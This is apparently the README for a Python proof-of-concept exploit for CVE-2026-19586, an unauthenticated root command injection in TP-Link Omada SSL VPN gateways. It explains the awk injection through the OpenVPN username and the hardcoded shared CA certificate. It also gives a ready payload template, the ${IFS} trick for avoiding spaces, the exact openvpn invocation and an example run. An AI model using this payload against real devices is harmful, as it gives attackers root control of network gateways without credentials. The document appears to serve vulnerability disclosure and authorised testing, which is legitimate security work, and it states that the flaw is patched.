
Python PoC exploiting CVE-2026-19586, an unauthenticated command injection in TP-Link Omada SSL VPN that executes arbitrary commands as root via OpenVPN username injection.
TP-Link Omada SSL VPN Unauthenticated RCE (CVE-2026-19586)
A command injection vulnerability (CWE-78) in the SSL VPN authentication path of TP-Link Omada gateway firmware allows an unauthenticated attacker to execute arbitrary commands as root. When the OpenVPN-based SSL VPN server is enabled, OpenVPN passes the username submitted by the connecting client to /usr/sbin/checkpsw.sh, the script wired to the auth-user-pass-verify directive. That script splices the username unquoted into an awk program, so a username containing a double quote closes the awk string literal it is pasted into and the remainder is parsed as awk source.
An awk BEGIN block runs once before the first line of input is read, so the injected system() call executes before the submitted password is compared against anything, as root.
The server requires no client certificate and carries no tls-auth or tls-crypt key, and its CA certificate is hardcoded in the firmware image. The ca.crt in this repository is that certificate, and is identical on every device running the affected firmware, so any attacker who can reach the VPN port can complete the TLS handshake and reach the injection with no credentials and no prior access to the device.
The username cannot contain literal spaces, because the shell splits the unquoted expansion into separate arguments before awk sees it. Use ${IFS} in their place, which the shell invoked by system() expands back into a space. OpenVPN caps the username at 128 bytes; the payload scaffold uses 22 of those, leaving 106 for the command.
This Proof of Concept (PoC) was tested against the TP-Link Omada ER7212PC v2 (firmware 6.1.0.19). The vulnerable script is shared across the Omada gateway line; paths, line numbers, and behaviour may differ on other models or firmware versions.
This PoC delivers a username payload that is executed as root on the target device. This issue was reported to TP-Link and fixed in the firmware versions listed in the advisory; run this against hardware you own or are explicitly authorised to test.
$ sudo python3 cve-2026-19586.py <target> -c '<command>'
The openvpn client is required, and must be run as root, since it needs CAP_NET_ADMIN to create the tun device. This is a requirement of the local OpenVPN client, not of the target.
Example run:
$ sudo python3 cve-2026-19586.py 10.0.0.100 -c 'id>/tmp/proof'
TP-Link Omada SSL VPN Unauthenticated RCE (CVE-2026-19586) - OpenVPN Username Injection
Target : 10.0.0.100:1194/udp
CA cert : ca.crt
Command : id>/tmp/proof
Username : x";BEGIN{system("id>/tmp/proof")};#
[*] Running: openvpn --client --dev tun --proto udp --remote 10.0.0.100 1194 --resolv-retry 1 --nobind --ca ca.crt --remote-cert-tls server --cipher AES-256-CBC --data-ciphers-fallback AES-256-CBC --reneg-sec 0 --auth-user-pass /tmp/ovpn_creds_m0ycjowy.txt --auth-nocache --verb 3
[openvpn client output]
The command runs on the device before authentication completes, so the OpenVPN client itself will not connect. The authentication attempt fails and the client exits, which is expected.
| Argument | Description |
|---|
target | Target device IP or hostname |
-c, --command | Command to run as root on the target. Use ${IFS} in place of spaces |
-p, --port | SSL VPN UDP port (default: 1194) |
--ca | CA certificate extracted from the firmware (default: ca.crt) |